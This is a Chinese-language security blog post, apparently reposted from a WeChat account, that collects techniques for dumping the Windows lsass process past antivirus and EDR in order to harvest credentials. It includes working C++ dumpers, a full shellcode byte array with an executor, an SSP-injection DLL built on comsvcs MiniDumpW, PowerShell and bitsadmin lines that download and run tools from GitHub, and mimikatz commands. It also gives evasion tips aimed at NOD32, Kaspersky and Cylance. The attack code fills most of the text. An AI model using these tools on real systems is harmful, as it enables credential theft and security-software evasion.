绕过杀软转存lsass进程的一些Tips

admin 2022年4月19日23:22:03评论49 views字数 10735阅读35分47秒阅读模式

本来不想发技术文的,但老是发推广也不好,注:手法都是之前测试的,不保证现在可用,只是提供思路



lsass进程转存

普通转存:

这个方法有很多,比如下面的代码:


#include <windows.h>#include <DbgHelp.h>#include <iostream>#include <TlHelp32.h>#pragma comment( lib, "Dbghelp.lib" )using namespace std;
int main() { DWORD lsassPID = 0; HANDLE lsassHandle = NULL; HANDLE outFile = CreateFile(L"lsass.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32 processEntry = {}; processEntry.dwSize = sizeof(PROCESSENTRY32); LPCWSTR processName = L"";
if (Process32First(snapshot, &processEntry)) { while (_wcsicmp(processName, L"lsass.exe") != 0) { Process32Next(snapshot, &processEntry); processName = processEntry.szExeFile; lsassPID = processEntry.th32ProcessID; } wcout << "[+] Got lsass.exe PID: " << lsassPID << endl; }
lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID); BOOL isDumped = MiniDumpWriteDump(lsassHandle, lsassPID, outFile, MiniDumpWithFullMemory, NULL, NULL, NULL);
if (isDumped) { cout << "[+] lsass dumped successfully!" << endl; }
return 0;}


技术原理也就是MiniDumpWriteDump这个API的作用。使用管理员权限运行会生成lsass.dmp,然后使用mimikatz加载即可。


绕过杀软转存lsass进程的一些Tips


除了这个常见的还有的 prodump.exe:


 cd c:WindowsTemp # bitsadmin /rawreturn /transfer getfile https://raw.githubusercontent.com/klionsec/CommonTools/master/procdump.exe c:windowstempdump.exe # dump.exe -accepteula -ma lsass.exe lsass.dmp


powershell:

# powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/klionsec/CommonTools/master/Out-Minidump.ps1'); Get-Process lsass | Out-Minidump -DumpFilePath c:windowstemp" # tasklist | findstr /c:"egui.exe" /c:"ekrn.exe" # dir c:windowsTemp | findstr "lsass"


Out-Minidump.ps1:


 powershell –exec bypass –Command "& {Import-Module 'C:ToolsOut-Minidump.ps1'; Get-Process lsass | Out-Minidump -DumpFilePath c:windowstemp}"


使用shellcode进行转存:


这个是国外一个大佬写出来的,直接使用shellcode进行转存,下面是win7下面的代码(win 10的也有了。找找看就行):

# include <stdio.h># include <string.h># include <windows.h>  /* * Title: Shellcode to dump the lsass process * Tested on Windows 8 and 7. Doesn't work on Windows 10 and Windows Server 2019. * Arch: x86_64 * Author: Osanda Malith Jayathissa (@OsandaMalith) * Website: https://osandamalith.com     * Date: 11/05/2019 * Make sure the process running this shellcode has admin rights. */   int main() {     unsigned char shellcode[822] = {        0xE9, 0x1B, 0x03, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x74,        0x24, 0x10, 0x57, 0x48, 0x83, 0xEC, 0x10, 0x65, 0x48, 0x8B, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00,        0x8B, 0xF1, 0x48, 0x8B, 0x50, 0x18, 0x4C, 0x8B, 0x4A, 0x10, 0x4D, 0x8B, 0x41, 0x30, 0x4D, 0x85,        0xC0, 0x0F, 0x84, 0xB8, 0x00, 0x00, 0x00, 0x41, 0x0F, 0x10, 0x41, 0x58, 0x49, 0x63, 0x40, 0x3C,        0x4D, 0x8B, 0x09, 0x42, 0x8B, 0x9C, 0x00, 0x88, 0x00, 0x00, 0x00, 0x33, 0xD2, 0xF3, 0x0F, 0x7F,        0x04, 0x24, 0x85, 0xDB, 0x74, 0xD4, 0x48, 0x8B, 0x04, 0x24, 0x48, 0xC1, 0xE8, 0x10, 0x44, 0x0F,        0xB7, 0xD0, 0x45, 0x85, 0xD2, 0x74, 0x20, 0x48, 0x8B, 0x4C, 0x24, 0x08, 0x45, 0x8B, 0xDA, 0xC1,        0xCA, 0x0D, 0x80, 0x39, 0x61, 0x0F, 0xBE, 0x01, 0x7C, 0x03, 0x83, 0xC2, 0xE0, 0x03, 0xD0, 0x48,        0xFF, 0xC1, 0x49, 0xFF, 0xCB, 0x75, 0xE8, 0x4D, 0x8D, 0x14, 0x18, 0x33, 0xC9, 0x41, 0x8B, 0x7A,        0x20, 0x49, 0x03, 0xF8, 0x41, 0x39, 0x4A, 0x18, 0x76, 0x90, 0x8B, 0x1F, 0x45, 0x33, 0xDB, 0x48,        0x8D, 0x7F, 0x04, 0x49, 0x03, 0xD8, 0x41, 0xC1, 0xCB, 0x0D, 0x0F, 0xBE, 0x03, 0x48, 0xFF, 0xC3,        0x44, 0x03, 0xD8, 0x80, 0x7B, 0xFF, 0x00, 0x75, 0xED, 0x41, 0x8D, 0x04, 0x13, 0x3B, 0xC6, 0x74,        0x0D, 0xFF, 0xC1, 0x41, 0x3B, 0x4A, 0x18, 0x72, 0xD1, 0xE9, 0x5C, 0xFF, 0xFF, 0xFF, 0x41, 0x8B,        0x42, 0x24, 0x03, 0xC9, 0x49, 0x03, 0xC0, 0x0F, 0xB7, 0x04, 0x01, 0x41, 0x8B, 0x4A, 0x1C, 0xC1,        0xE0, 0x02, 0x48, 0x98, 0x49, 0x03, 0xC0, 0x8B, 0x04, 0x01, 0x49, 0x03, 0xC0, 0xEB, 0x02, 0x33,        0xC0, 0x48, 0x8B, 0x5C, 0x24, 0x20, 0x48, 0x8B, 0x74, 0x24, 0x28, 0x48, 0x83, 0xC4, 0x10, 0x5F,        0xC3, 0xCC, 0xCC, 0xCC, 0x40, 0x55, 0x53, 0x56, 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41,        0x57, 0x48, 0x8D, 0xAC, 0x24, 0x28, 0xFF, 0xFF, 0xFF, 0x48, 0x81, 0xEC, 0xD8, 0x01, 0x00, 0x00,        0x33, 0xC0, 0x48, 0x8D, 0x7D, 0xA0, 0xB9, 0x30, 0x01, 0x00, 0x00, 0xF3, 0xAA, 0x45, 0x33, 0xF6,        0xB9, 0x4C, 0x77, 0x26, 0x07, 0xC7, 0x45, 0x80, 0x6B, 0x65, 0x72, 0x6E, 0xC7, 0x45, 0x84, 0x65,        0x6C, 0x33, 0x32, 0xC7, 0x45, 0x88, 0x2E, 0x64, 0x6C, 0x6C, 0x44, 0x88, 0x75, 0x8C, 0xC7, 0x44,        0x24, 0x70, 0x64, 0x62, 0x67, 0x68, 0xC7, 0x44, 0x24, 0x74, 0x65, 0x6C, 0x70, 0x2E, 0xC7, 0x44,        0x24, 0x78, 0x64, 0x6C, 0x6C, 0x00, 0xC7, 0x44, 0x24, 0x60, 0x6E, 0x74, 0x64, 0x6C, 0xC7, 0x44,        0x24, 0x64, 0x6C, 0x2E, 0x64, 0x6C, 0x66, 0xC7, 0x44, 0x24, 0x68, 0x6C, 0x00, 0xC7, 0x44, 0x24,        0x50, 0x6C, 0x73, 0x61, 0x73, 0xC7, 0x44, 0x24, 0x54, 0x73, 0x2E, 0x64, 0x6D, 0x66, 0xC7, 0x44,        0x24, 0x58, 0x70, 0x00, 0xC7, 0x44, 0x24, 0x40, 0x6C, 0x73, 0x61, 0x73, 0xC7, 0x44, 0x24, 0x44,        0x73, 0x2E, 0x65, 0x78, 0x66, 0xC7, 0x44, 0x24, 0x48, 0x65, 0x00, 0xC6, 0x85, 0x20, 0x01, 0x00,        0x00, 0x61, 0xE8, 0x51, 0xFE, 0xFF, 0xFF, 0x48, 0x8D, 0x4D, 0x80, 0x48, 0x8B, 0xF8, 0xFF, 0xD7,        0x48, 0x8D, 0x4C, 0x24, 0x70, 0xFF, 0xD7, 0x48, 0x8D, 0x4C, 0x24, 0x60, 0xFF, 0xD7, 0xB9, 0x80,        0x39, 0x1E, 0x92, 0xE8, 0x30, 0xFE, 0xFF, 0xFF, 0xB9, 0xDA, 0xF6, 0xDA, 0x4F, 0x48, 0x8B, 0xF0,        0xE8, 0x23, 0xFE, 0xFF, 0xFF, 0xB9, 0x27, 0xA9, 0xE8, 0x67, 0x48, 0x8B, 0xF8, 0xE8, 0x16, 0xFE,        0xFF, 0xFF, 0xB9, 0x8D, 0x52, 0x01, 0xBD, 0x48, 0x8B, 0xD8, 0xE8, 0x09, 0xFE, 0xFF, 0xFF, 0xB9,        0x74, 0x71, 0x8D, 0xDC, 0x4C, 0x8B, 0xE0, 0xE8, 0xFC, 0xFD, 0xFF, 0xFF, 0xB9, 0xB4, 0x73, 0x8D,        0xE2, 0x4C, 0x8B, 0xF8, 0xE8, 0xEF, 0xFD, 0xFF, 0xFF, 0xB9, 0xEE, 0x95, 0xB6, 0x50, 0x4C, 0x8B,        0xE8, 0xE8, 0xE2, 0xFD, 0xFF, 0xFF, 0xB9, 0x64, 0xD7, 0xDE, 0x2B, 0x48, 0x89, 0x85, 0x30, 0x01,        0x00, 0x00, 0xE8, 0xD1, 0xFD, 0xFF, 0xFF, 0xB9, 0x7A, 0x19, 0x77, 0x6A, 0x48, 0x89, 0x45, 0x90,        0xE8, 0xC3, 0xFD, 0xFF, 0xFF, 0x4C, 0x8D, 0x8D, 0x28, 0x01, 0x00, 0x00, 0x41, 0x8D, 0x4E, 0x14,        0x45, 0x33, 0xC0, 0xB2, 0x01, 0xFF, 0xD0, 0x4C, 0x21, 0x74, 0x24, 0x30, 0x48, 0x8D, 0x4C, 0x24,        0x50, 0x45, 0x33, 0xC9, 0x45, 0x33, 0xC0, 0xBA, 0x00, 0x00, 0x00, 0x10, 0xC7, 0x44, 0x24, 0x28,        0x80, 0x00, 0x00, 0x00, 0xC7, 0x44, 0x24, 0x20, 0x02, 0x00, 0x00, 0x00, 0xFF, 0xD7, 0x33, 0xD2,        0x48, 0x89, 0x85, 0x38, 0x01, 0x00, 0x00, 0x8D, 0x4A, 0x02, 0xFF, 0xD6, 0x48, 0x8D, 0x55, 0xA0,        0xC7, 0x45, 0xA0, 0x30, 0x01, 0x00, 0x00, 0x48, 0x8B, 0xC8, 0x48, 0x8B, 0xF8, 0xFF, 0xD3, 0x33,        0xDB, 0x85, 0xC0, 0x74, 0x31, 0xEB, 0x1C, 0x48, 0x8D, 0x55, 0xA0, 0x48, 0x8B, 0xCF, 0x41, 0xFF,        0xD4, 0x48, 0x8D, 0x55, 0xCC, 0x48, 0x8D, 0x8D, 0x20, 0x01, 0x00, 0x00, 0x41, 0xFF, 0xD5, 0x44,        0x8B, 0x75, 0xA8, 0x48, 0x8D, 0x54, 0x24, 0x40, 0x48, 0x8D, 0x8D, 0x20, 0x01, 0x00, 0x00, 0x41,        0xFF, 0xD7, 0x85, 0xC0, 0x75, 0xD1, 0x45, 0x8B, 0xC6, 0x33, 0xD2, 0xB9, 0xFF, 0xFF, 0x1F, 0x00,        0xFF, 0x95, 0x30, 0x01, 0x00, 0x00, 0x4C, 0x8B, 0x85, 0x38, 0x01, 0x00, 0x00, 0x48, 0x89, 0x5C,        0x24, 0x30, 0x48, 0x8B, 0xC8, 0x41, 0xB9, 0x02, 0x00, 0x00, 0x00, 0x41, 0x8B, 0xD6, 0x48, 0x89,        0x5C, 0x24, 0x28, 0x48, 0x89, 0x5C, 0x24, 0x20, 0xFF, 0x55, 0x90, 0x48, 0x81, 0xC4, 0xD8, 0x01,        0x00, 0x00, 0x41, 0x5F, 0x41, 0x5E, 0x41, 0x5D, 0x41, 0x5C, 0x5F, 0x5E, 0x5B, 0x5D, 0xC3, 0xCC,        0x56, 0x48, 0x8B, 0xF4, 0x48, 0x83, 0xE4, 0xF0, 0x48, 0x83, 0xEC, 0x20, 0xE8, 0xD3, 0xFD, 0xFF,        0xFF, 0x48, 0x8B, 0xE6, 0x5E, 0xC3};         DWORD oldProtect;    BOOL ret = VirtualProtect (shellcode, strlen(shellcode), PAGE_EXECUTE_READWRITE, &oldProtect);        if (!ret) {        fprintf(stderr, "%s", "Error Occured");        return EXIT_FAILURE;    }        ((void(*)(void))shellcode)();       VirtualProtect (shellcode, strlen(shellcode), oldProtect, &oldProtect);        return EXIT_SUCCESS;}


管理员权限运行dump_lsass_for_Win7_x64.exe,然后使用mimikatz加载:


mimikatz.exe "sekurlsa::minidump lsass_dump.dmp" "sekurlsa::logonPasswords full" exit


bypass nod32转存

Sqldumper 免杀抓明文


Sqldumper.exe 是从 mssql 安装目录下提取出来的


# tasklist | findstr "lsass.exe" 先找到 lsass.exe 进程 id # Sqldumper.exe 592 0 0x01100 之后,指定 id,dump 数据# mimikatz.exe "sekurlsa::minidump SQLDmpr0001.mdmp" "sekurlsa::logonPasswords full" "exit"


SharpDump C#免杀抓明文


用法同上,注意版本即可。,dump 的文件默认是 bin 后缀,拖到本地机器上以后,需要线把 bin 重命名为 zip 后缀,然后正常解压出里面的文件,再丢给 mimikatz 去读取即可


绕过杀软转存lsass进程的一些Tips


bypass 卡巴斯基转存

蓝屏dump法:

需要的工具:WinDBG+mimilib.dll

具体可参考:https://www.mrwu.red/web/2000.html

注意,动静太大,请勿轻易尝试。

ssp注入法:

这个办法是奇安信的师傅们给出来的,膜拜。原理不是很难懂,就是我们常用的mimikatz的misc::memssp功能,这里不再多说其原理。

直接上代码:

#include <cstdio>#include <windows.h>#include <DbgHelp.h>#include <iostream>#include <TlHelp32.h>#pragma comment(lib,"Dbghelp.lib")typedef HRESULT(WINAPI* _MiniDumpW)(    DWORD arg1, DWORD arg2, PWCHAR cmdline);
typedef NTSTATUS(WINAPI* _RtlAdjustPrivilege)( ULONG Privilege, BOOL Enable, BOOL CurrentThread, PULONG Enabled);
int dump() {
HRESULT hr; _MiniDumpW MiniDumpW; _RtlAdjustPrivilege RtlAdjustPrivilege; ULONG t;
MiniDumpW = (_MiniDumpW)GetProcAddress( LoadLibrary(L"comsvcs.dll"), "MiniDumpW");
RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress( GetModuleHandle(L"ntdll"), "RtlAdjustPrivilege");
if (MiniDumpW == NULL) {
return 0; } // try enable debug privilege RtlAdjustPrivilege(20, TRUE, FALSE, &t);
wchar_t ws[100]; swprintf(ws, 100, L"%hs", "784 c:\1.bin full"); //784是lsass进程的pid号 "<pid> <dump.bin> full"
MiniDumpW(0, 0, ws); return 0;
}BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: dump(); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE;}


记得更改lsass的进程号。效果如下:


绕过杀软转存lsass进程的一些Tips


剩下的就是用mimikatz加载这个bin就行了。

结合直接系统调用和sRDI来绕过AV / EDR

关于直接系统调用

为了防止一个进程崩溃导致操作系统也跟着崩溃,在保护模式下引入了许多安全措施,通过虚拟内存(Virtual Memory)和权限级别(Privilege Levels),和一个叫Rings的概念,来隔离运行的不同进程之间,以及进程和操作系统之间的内存访问。

Rings一共有4层,Ring0 ~ Ring3分别对应4个特权级别。

Windows操作系统中实际只使用了两个特权级别:

一个是Ring3层,平时我们所见到的应用程序运行在这一层,所以叫它用户层,也叫User-Mode。所以下次听到别人讲(Ring3、用户层、User-Mode)时,其实是在讲同一个概念。
一个是Ring0层,像操作系统内核(Kernel)这样重要的系统组件,以及设备驱动都是运行在Ring0,内核层,也叫Kernel-Mode。

绕过杀软转存lsass进程的一些Tips


用户层的应用程序要想和底层系统交互,通常使用应用程序编程接口(Application Programming Interface )也就是所谓的API。如果你是编写C/C++应用的Windows程序开发程序员,通常使用 Win32 API。

Win32API是微软封装的一套API接口,由几个DLL(所谓的Win32子系统DLL)组成。在Win32 API下面使用的是Naitve API(ntdll.dll),这个才是真正用户层和系统底层交互的接口,一般称为用户层和内核层之间的桥梁。

但是ntdll中函数大部分都没有被微软记录到官方的开发文档中,为了兼容性问题,大多数情况在写程序时,应该避免直接使用ntdll中的API。

微软在Native API上面又封装一层的神奇之处正是因为Native API是用户层与内核层之间的桥梁,这样就可以在不影响Win32编程接口的情况下对系统结构进行修改。

现在我们对系统调用和Windows编程API有了一些了解,让我们看看如何通过编程来绕过Win32接口层,直接调用系统API并绕过潜在的Ring3层Hook。

在线查询系统调用号:https://j00ru.vexillium.org/syscalls/nt/64/ 有了这张表,我们可以直接搜索我们想要使用的Native API,就可以看到该API在不同系统中的调用号。

我们需要编写汇编来调用Driect System Calls。在Virtual Studio项目中需要启用MASM编译依赖的支持,我们才能在项目中添加.asm文件

然后在VS代码中导出asm文件中定义的函数,并定义其函数原型,现在可以在我们代码中使用这些定义的System Call函数了,而不需要经过Native API这一层。

当然具体的会更麻烦,不过已经有人给出来了对应的实现代码。即先卸载相关函数的Hook,然后再创建LSASS的内存转储。


绕过杀软转存lsass进程的一些Tips


除了这种落地攻击,他们还利用反射型dll注入的方法,实现了直接使用cobalt strike进行获取的实现通过shinject命令注入sRDI版本的shellcode到当前进程中:


绕过杀软转存lsass进程的一些Tips


注意,目前仅适用于x64版本。

使用comsvcs.dll进行转存

关于这个的技术介绍是这样的:


There’s a DLL called comsvcs.dll, located in C:WindowsSystem32 that dumps process memory whenever they crash. This DLL contains a function called MiniDumpW that is written so it can be called with rundll32.exe.


效果还是很不错的:


bypass Cilence转存

这个东西,我直接给出作者链接吧,因为自己本地测试没有成功,就不多说了..

https://github.com/hoangprod/AndrewSpecial


绕过杀软转存lsass进程的一些Tips


注入lsass获取密码

这个也是一样,有兴趣的可以自己试试吧

https://github.com/M-r-J-o-h-n/LSASS-injector

参考文章:

https://osandamalith.com/2019/05/11/shellcode-to-dump-the-lsass-process/

https://docs.microsoft.com/en-us/windows/win32/api/minidumpapiset/nf-minidumpapiset-minidumpwritedump

http://paper.vulsee.com/Micro8/%E7%AC%AC%E4%B8%80%E7%99%BE%E9%9B%B6%E4%BA%94%E8%AF%BE%EF%BC%9Awindows%20%E5%8D%95%E6%9C%BA%E5%85%8D%E6%9D%80%E6%8A%93%E6%98%8E%E6%96%87%E6%88%96hash%20%5B%E9%80%9A%E8%BF%87dump%20lsass%E8%BF%9B%E7%A8%8B%E6%95%B0%E6%8D%AE%5D.pdf

https://blog.ateam.qianxin.com/post/zhe-shi-yi-pian-bu-yi-yang-de-zhen-shi-shen-tou-ce-shi-an-li-fen-xi-wen-zhang/

https://bbs.pediy.com/thread-253564.htm

https://book.hacktricks.xyz/windows/stealing-credentials#dumping-lsass-with-comsvcs-dll

https://medium.com/@fsx30/bypass-edrs-memory-protection-introduction-to-hooking-2efb21acffd6






     ▼
更多精彩推荐,请关注我们


请严格遵守网络安全法相关条例!此分享主要用于学习,切勿走上违法犯罪的不归路,一切后果自付!


绕过杀软转存lsass进程的一些Tips



本文始发于微信公众号(鸿鹄实验室):绕过杀软转存lsass进程的一些Tips

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月19日23:22:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   绕过杀软转存lsass进程的一些Tipshttp://cn-sec.com/archives/545820.html

发表评论

匿名网友 填写信息